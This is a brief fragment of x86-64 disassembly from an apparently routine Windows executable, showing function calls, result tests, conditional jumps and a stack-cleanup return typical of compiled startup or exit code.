mov rcx, qword [rsp + 0x38]
call fcn.14001115e
movzx eax, al
test eax, eax
je 0x14001368d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113b1
nop
call fcn.1400137b0
mov dword [rsp + 0x28], eax
call fcn.1400112b7
movzx eax, al
test eax, eax
jne 0x1400136ac
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400136bb
call fcn.1400113bb
nop
xor edx, edx
mov cl, 1
call fcn.14001114a
mov eax, dword [rsp + 0x28]
jmp 0x140013701
add rsp, 0x68
ret